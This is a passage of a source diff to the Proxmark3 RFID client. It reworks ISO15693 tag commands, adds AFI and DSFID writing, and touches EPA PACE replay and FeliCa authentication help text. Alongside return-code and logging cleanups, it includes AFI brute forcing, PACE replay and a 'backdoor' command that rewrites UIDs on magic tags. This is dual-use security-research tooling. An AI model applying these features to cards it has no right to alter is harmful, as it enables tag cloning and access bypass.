layout (vendor dependent)"); + PrintAndLogEx(SUCCESS, " - Tag provides info on memory layout (vendor dependent)"); uint8_t blocks = recv[12] + 1; uint8_t size = (recv[13] & 0x1F); - PrintAndLogEx(NORMAL, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); + PrintAndLogEx(SUCCESS, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); } else { - PrintAndLogEx(NORMAL, " - Tag does not provide information on memory layout"); + PrintAndLogEx(SUCCESS, " - Tag does not provide information on memory layout"); } - PrintAndLogEx(NORMAL, "\n"); - return 0; + + // Check if SLIX2 and attempt to get NXP System Information + if (recv[8] == 0x04 && recv[7] == 0x01 && recv[4] & 0x80) { + return NxpSysInfo(uid); + } + + PrintAndLogEx(NORMAL, ""); + + return PM3_SUCCESS; } -// Record Activity without enabeling carrier +// Record Activity without enabling carrier //helptext static int CmdHF15Record(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); @@ -694,7 +918,7 @@ static int CmdHF15Record(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_RAWADC, NULL, 0); - return 0; + return PM3_SUCCESS; } static int CmdHF15Reader(const char *Cmd) { @@ -702,7 +926,7 @@ static int CmdHF15Reader(const char *Cmd) { if (cmdp == 'h') return usage_15_reader(); readHF15Uid(true); - return 0; + return PM3_SUCCESS; } // Simulation is still not working very good @@ -714,20 +938,23 @@ static int CmdHF15Sim(const char *Cmd) { uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; if (param_gethex(Cmd, 0, uid, 16)) { PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); - return 0; + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "Starting simulating UID %s", sprint_hex(uid, sizeof(uid))); clearCommandBuffer(); SendCommandOLD(CMD_HF_ISO15693_SIMULATE, 0, 0, 0, uid, 8); - return 0; + return PM3_SUCCESS; } -// finds the AFI (Application Family Idendifier) of a card, by trying all values -// (There is no standard way of reading the AFI, allthough some tags support this) +// finds the AFI (Application Family Identifier) of a card, by trying all values +// (There is no standard way of reading the AFI, although some tags support this) // helptext -static int CmdHF15Afi(const char *Cmd) { +static int CmdHF15FindAfi(const char *Cmd) { + PacketResponseNG resp; + uint32_t timeout = 0; + char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_findafi(); @@ -735,7 +962,138 @@ static int CmdHF15Afi(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO15693_FINDAFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); - return 0; + + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + timeout++; + + // should be done in about 2 minutes + if (timeout > 180) { + PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); + DropField(); + return PM3_ETIMEOUT; + } + } + + DropField(); + return resp.status; // PM3_EOPABORTED or PM3_SUCCESS +} + +// Writes the AFI (Application Family Identifier) of a card +static int CmdHF15WriteAfi(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writeafi(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int afinum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEAFI)) + return PM3_SUCCESS; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + afinum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)afinum; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote AFI 0x%02X", afinum); + + return PM3_SUCCESS; +} + +// Writes the DSFID (Data Storage Format Identifier) of a card +static int CmdHF15WriteDsfid(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writedsfid(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int dsfidnum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEDSFID)) + return PM3_SUCCESS; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + dsfidnum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)dsfidnum; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote DSFID 0x%02X", dsfidnum); + + return PM3_SUCCESS; } typedef struct { @@ -774,7 +1132,7 @@ static int CmdHF15Dump(const char *Cmd) { if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found."); - return 1; + return PM3_ESOFT; } if (fileNameLen < 1) { @@ -786,7 +1144,7 @@ static int CmdHF15Dump(const char *Cmd) { } // detect blocksize from card :) - PrintAndLogEx(NORMAL, "Reading memory from tag UID " _YELLOW_("%s"), sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Reading memory from tag UID " _YELLOW_("%s"), sprintUID(NULL, uid)); int blocknum = 0; uint8_t *recv = NULL; @@ -844,8 +1202,10 @@ static int CmdHF15Dump(const char *Cmd) { fflush(stdout); } } - PrintAndLogEx(NORMAL, "\n"); + DropField(); + + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "block# | data |lck| ascii"); PrintAndLogEx(NORMAL, "---------+--------------+---+----------"); for (int i = 0; i < blocknum; i++) { @@ -856,16 +1216,25 @@ static int CmdHF15Dump(const char *Cmd) { size_t datalen = blocknum * 4; saveFileEML(filename, data, datalen, 4); saveFile(filename, ".bin", data, datalen); - return 0; + return PM3_SUCCESS; } static int CmdHF15List(const char *Cmd) { (void)Cmd; // Cmd is not used so far //PrintAndLogEx(WARNING, "Deprecated command, use 'hf list 15' instead"); CmdTraceList("15"); - return 0; + return PM3_SUCCESS; } +/* +// Record Activity without enabling carrier +static int CmdHF15Sniff(const char *Cmd) { + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO15693_SNIFF, NULL, 0); + return PM3_SUCCESS; +} +*/ + static int CmdHF15Raw(const char *Cmd) { char cmdp = param_getchar(Cmd, 0); @@ -873,7 +1242,7 @@ static int CmdHF15Raw(const char *Cmd) { PacketResponseNG resp; int reply = 1, fast = 1, i = 0; - bool crc = false; + bool crc = false, leaveSignalON = false; char buf[5] = ""; uint8_t data[100]; uint32_t datalen = 0, temp; @@ -896,9 +1265,13 @@ static int CmdHF15Raw(const char *Cmd) { case 'C': crc = true; break; + case 'p': + case 'P': + leaveSignalON = true; + break; default: PrintAndLogEx(WARNING, "Invalid option"); - return 0; + return PM3_EINVARG; } i += 2; continue; @@ -919,7 +1292,7 @@ static int CmdHF15Raw(const char *Cmd) { continue; } PrintAndLogEx(WARNING, "Invalid char on input"); - return 0; + return PM3_EINVARG; } if (crc) { @@ -933,13 +1306,17 @@ static int CmdHF15Raw(const char *Cmd) { if (reply) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t len = resp.oldarg[0]; - PrintAndLogEx(NORMAL, "received %i octets", len); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp.data.asBytes, len)); } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } } - return 0; + + if (!leaveSignalON) + DropField(); + + return PM3_SUCCESS; } /** @@ -962,7 +1339,7 @@ static int CmdHF15Readmulti(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READMULTI)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -987,25 +1364,28 @@ static int CmdHF15Readmulti(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(FAILED, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } int start = 1; // skip status byte @@ -1020,7 +1400,7 @@ static int CmdHF15Readmulti(const char *Cmd) { currblock++; } - return 0; + return PM3_SUCCESS; } /** @@ -1048,7 +1428,7 @@ static int CmdHF15Read(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READ)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -1064,26 +1444,29 @@ static int CmdHF15Read(const char *Cmd) { SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + PrintAndLogEx(ERR, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + PrintAndLogEx(ERR, "iso15693 card select failed"); + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { - PrintAndLogEx(NORMAL, "CRC failed"); - return 2; + PrintAndLogEx(ERR, "CRC failed"); + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } // print response @@ -1092,7 +1475,7 @@ static int CmdHF15Read(const char *Cmd) { PrintAndLogEx(NORMAL, "------------+---+------"); PrintAndLogEx(NORMAL, "%s| %d | %s", sprint_hex(recv + 2, status - 4), recv[1], sprint_ascii(recv + 2, status - 4)); PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } /** @@ -1117,7 +1500,7 @@ static int CmdHF15Write(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITE)) - return 0; + return PM3_SUCCESS; // *cmd -> page num ; *cmd2 -> data cmd2 = cmd; @@ -1141,36 +1524,39 @@ static int CmdHF15Write(const char *Cmd) { AddCrc15(req, reqlen); reqlen += 2; - PrintAndLogEx(NORMAL, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); + PrintAndLogEx(INFO, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); clearCommandBuffer(); SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card timeout, data may be written anyway"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { - PrintAndLogEx(NORMAL, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; } PrintAndLogEx(NORMAL, "OK"); - return 0; + return PM3_SUCCESS; } static int CmdHF15Restore(const char *Cmd) { @@ -1237,13 +1623,13 @@ static int CmdHF15Restore(const char *Cmd) { if ((f = fopen(filename, "rb")) == NULL) { PrintAndLogEx(WARNING, "Could not find file %s", filename); - return 2; + return PM3_EFILE; } if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); fclose(f); - return 3; + return PM3_ESOFT; } PrintAndLogEx(INFO, "Restoring data blocks."); @@ -1257,11 +1643,11 @@ static int CmdHF15Restore(const char *Cmd) { if (bytes_read == 0) { PrintAndLogEx(SUCCESS, "File reading done `%s`", filename); fclose(f); - return 0; + return PM3_SUCCESS; } else if (bytes_read != blocksize) { PrintAndLogEx(ERR, "File reading error (%s), %zu bytes read instead of %zu bytes.", filename, bytes_read, blocksize); fclose(f); - return 2; + return PM3_EFILE; } for (int j = 0; j < blocksize; j++) @@ -1290,7 +1676,7 @@ static int CmdHF15Restore(const char *Cmd) { } fclose(f); PrintAndLogEx(INFO, "Finish restore"); - return 0; + return PM3_SUCCESS; } /** @@ -1309,22 +1695,23 @@ static int CmdHF15CSetUID(const char *Cmd) { if (param_gethex(Cmd, 0, uid, 16)) { PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); - return 1; + return PM3_EINVARG; } if (uid[0] != 0xe0) { PrintAndLogEx(WARNING, "UID must begin with the byte " _YELLOW_("E0")); - return 1; + return PM3_EINVARG; } - PrintAndLogEx(SUCCESS, "new UID | %s", sprint_hex(uid, sizeof(uid))); - PrintAndLogEx(NORMAL, "Using backdoor Magic tag function"); + PrintAndLogEx(SUCCESS, "Input new UID | %s", sprint_hex(uid, sizeof(uid))); if (!getUID(oldUid)) { - PrintAndLogEx(FAILED, "Can't get old UID."); + PrintAndLogEx(FAILED, "Can't get old/current UID."); return PM3_ESOFT; } + PrintAndLogEx(INFO, "Using backdoor magic tag function"); + // Command 1 : 02213E00000000 data[0][0] = 0x02; data[0][1] = 0x21; @@ -1370,8 +1757,8 @@ static int CmdHF15CSetUID(const char *Cmd) { if (reply) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t len = resp.oldarg[0]; - PrintAndLogEx(NORMAL, "received %i octets", len); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, len)); } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } @@ -1383,20 +1770,26 @@ static int CmdHF15CSetUID(const char *Cmd) { return PM3_ESOFT; } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "old UID : %02X %02X %02X %02X %02X %02X %02X %02X", oldUid[7], oldUid[6], oldUid[5], oldUid[4], oldUid[3], oldUid[2], oldUid[1], oldUid[0]); - PrintAndLogEx(SUCCESS, "new UID : %02X %02X %02X %02X %02X %02X %02X %02X", newUid[7], newUid[6], newUid[5], newUid[4], newUid[3], newUid[2], newUid[1], newUid[0]); - - return PM3_SUCCESS; + if (memcmp(newUid, uid, 8) != 0) { + PrintAndLogEx(FAILED, "Setting UID on tag failed."); + return PM3_ESOFT; + } else { + PrintAndLogEx(SUCCESS, "old UID : %02X %02X %02X %02X %02X %02X %02X %02X", oldUid[7], oldUid[6], oldUid[5], oldUid[4], oldUid[3], oldUid[2], oldUid[1], oldUid[0]); + PrintAndLogEx(SUCCESS, "new UID : %02X %02X %02X %02X %02X %02X %02X %02X", newUid[7], newUid[6], newUid[5], newUid[4], newUid[3], newUid[2], newUid[1], newUid[0]); + return PM3_SUCCESS; + } } static command_t CommandTable[] = { {"help", CmdHF15Help, AlwaysAvailable, "This help"}, {"demod", CmdHF15Demod, AlwaysAvailable, "Demodulate ISO15693 from tag"}, {"dump", CmdHF15Dump, IfPm3Iso15693, "Read all memory pages of an ISO15693 tag, save to file"}, - {"findafi", CmdHF15Afi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, + {"findafi", CmdHF15FindAfi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, + {"writeafi", CmdHF15WriteAfi, IfPm3Iso15693, "Writes the AFI on an ISO15693 tag"}, + {"writedsfid", CmdHF15WriteDsfid, IfPm3Iso15693, "Writes the DSFID on an ISO15693 tag"}, {"info", CmdHF15Info, IfPm3Iso15693, "Tag information"}, - {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, +// {"sniff", CmdHF15Sniff, IfPm3Iso15693, "Sniff ISO15693 traffic"}, + {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, {"raw", CmdHF15Raw, IfPm3Iso15693, "Send raw hex data to tag"}, {"reader", CmdHF15Reader, IfPm3Iso15693, "Act like an ISO15693 reader"}, {"record", CmdHF15Record, IfPm3Iso15693, "Record Samples (ISO15693)"}, @@ -1406,14 +1799,14 @@ static command_t CommandTable[] = { {"read", CmdHF15Read, IfPm3Iso15693, "Read a block"}, {"write", CmdHF15Write, IfPm3Iso15693, "Write a block"}, {"readmulti", CmdHF15Readmulti, IfPm3Iso15693, "Reads multiple Blocks"}, - {"csetuid", CmdHF15CSetUID, IfPm3Iso15693, "Set UID for magic Chinese card"}, + {"csetuid", CmdHF15CSetUID, IfPm3Iso15693, "Set UID for magic Chinese card"}, {NULL, NULL, NULL, NULL} }; static int CmdHF15Help(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHF15(const char *Cmd) { @@ -1422,14 +1815,14 @@ int CmdHF15(const char *Cmd) { } // used with 'hf search' -int readHF15Uid(bool verbose) { +bool readHF15Uid(bool verbose) { uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; if (!getUID(uid)) { if (verbose) PrintAndLogEx(WARNING, "No tag found."); - return 0; + return false; } - - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(uid)); - return 1; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(uid)); + return true; } diff --git a/client/cmdhf15.h b/client/cmdhf15.h index b3f64ac70..81530a58c 100644 --- a/client/cmdhf15.h +++ b/client/cmdhf15.h @@ -15,6 +15,6 @@ int CmdHF15(const char *Cmd); -int readHF15Uid(bool verbose); +bool readHF15Uid(bool verbose); #endif diff --git a/client/cmdhfepa.c b/client/cmdhfepa.c index af5d26eaf..e83ee39bf 100644 --- a/client/cmdhfepa.c +++ b/client/cmdhfepa.c @@ -16,7 +16,7 @@ #include #include "cmdparser.h" // command_t -#include "commonutil.h" // ARRAYLEN +#include "commonutil.h" // ARRAYLEN #include "comms.h" // clearCommandBuffer #include "ui.h" #include "util_posix.h" @@ -38,8 +38,8 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { m = m > 0 ? m : 1; n = n > 0 ? n : 1; - PrintAndLogEx(NORMAL, "Collecting %u %u byte nonces", n, m); - PrintAndLogEx(NORMAL, "Start: %" PRIu64, msclock() / 1000); + PrintAndLogEx(SUCCESS, "Collecting %u %u byte nonces", n, m); + PrintAndLogEx(SUCCESS, "Start: %" PRIu64, msclock() / 1000); // repeat n times for (uint32_t i = 0; i < n; i++) { // execute PACE @@ -58,15 +58,15 @@ static int CmdHFEPACollectPACENonces(const char *Cmd) { sprintf(nonce + (2 * j), "%02X", resp.data.asBytes[j]); } // print nonce - PrintAndLogEx(NORMAL, "Length: %zu, Nonce: %s", nonce_length, nonce); + PrintAndLogEx(SUCCESS, "Length: %zu, Nonce: %s", nonce_length, nonce); free(nonce); } if (i < n - 1) { sleep(d); } } - PrintAndLogEx(NORMAL, "End: %" PRIu64, msclock() / 1000); - return 1; + PrintAndLogEx(SUCCESS, "End: %" PRIu64, msclock() / 1000); + return PM3_SUCCESS; } // perform the PACE protocol by replaying APDUs @@ -98,9 +98,9 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { ); if (scan_return < 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); + PrintAndLogEx(INFO, (char *)usage_msg); PrintAndLogEx(WARNING, "Not enough APDUs! Try again!"); - return 0; + return PM3_SUCCESS; } skip += skip_add; apdu_lengths[i]++; @@ -110,8 +110,8 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { if (Cmd[skip] == '\0') { if (i < ARRAYLEN(apdu_lengths) - 1) { - PrintAndLogEx(NORMAL, (char *)usage_msg); - return 0; + PrintAndLogEx(INFO, (char *)usage_msg); + return PM3_SUCCESS; } break; } @@ -146,7 +146,7 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j); - return 0; + return PM3_ESOFT; } } } @@ -156,22 +156,22 @@ static int CmdHFEPAPACEReplay(const char *Cmd) { SendCommandMIX(CMD_HF_EPA_REPLAY, 0, 0, 0, NULL, 0); WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { - PrintAndLogEx(NORMAL, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); - PrintAndLogEx(NORMAL, "Measured times:"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); + PrintAndLogEx(SUCCESS, "Measured times:"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } else { - PrintAndLogEx(NORMAL, "PACE replay successful!"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "PACE replay successful!"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } - return 1; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -184,7 +184,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFEPA(const char *Cmd) { diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index fe11d4c60..84339a05c 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -22,6 +22,7 @@ #include "util.h" #include "ui.h" #include "mifare.h" // felica_card_select_t struct +#include "mbedtls/des.h" #define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static int CmdHelp(const char *Cmd); @@ -282,6 +283,58 @@ static int usage_hf_felica_request_specification_version() { return PM3_SUCCESS; } +static int usage_hf_felica_authentication1() { + PrintAndLogEx(NORMAL, "\nInfo: Initiate mutual authentication. This command must always be executed before Authentication2 command" + ", and mutual authentication is achieve only after Authentication2 command has succeeded."); + PrintAndLogEx(NORMAL, " - Auth1 Parameters:"); + PrintAndLogEx(NORMAL, " - Number of Areas n: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Area Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - Number of Services m: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Service Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - 3DES-Key: 128-bit master secret used for the encryption"); + PrintAndLogEx(NORMAL, " - M1c: Encrypted random number - challenge for tag authentication (8-byte)"); + PrintAndLogEx(NORMAL, " - Response:"); + PrintAndLogEx(NORMAL, " - Response Code: 11h 1-byte"); + PrintAndLogEx(NORMAL, " - Manufacture ID(IDm): 8-byte"); + PrintAndLogEx(NORMAL, " - M2c: 8-byte"); + PrintAndLogEx(NORMAL, " - M3c: 8-byte"); + PrintAndLogEx(NORMAL, " - Success: Card Mode switches to Mode1. You can check this with the request response command."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA "); + PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_authentication2() { + PrintAndLogEx(NORMAL, "\nInfo: Complete mutual authentication. This command can only be executed subsquent to Authentication1" + " command."); + PrintAndLogEx(NORMAL, " - Auth2 Parameters:"); + PrintAndLogEx(NORMAL, " - Manufacturer IDm: (8-byte)"); + PrintAndLogEx(NORMAL, " - M3c: card challenge (8-byte)"); + PrintAndLogEx(NORMAL, " - 3DES Key: key used for decryption of M3c (16-byte)"); + PrintAndLogEx(NORMAL, " - Response (encrypted):"); + PrintAndLogEx(NORMAL, " - Response Code: 13h (1-byte)"); + PrintAndLogEx(NORMAL, " - IDtc: (8-byte)"); + PrintAndLogEx(NORMAL, " - IDi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - PMi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - Success: Card switches to mode2 and sends response frame."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth2 [-h][-i] <0102030405060708 M3c hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth2 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB"); + PrintAndLogEx(NORMAL, " 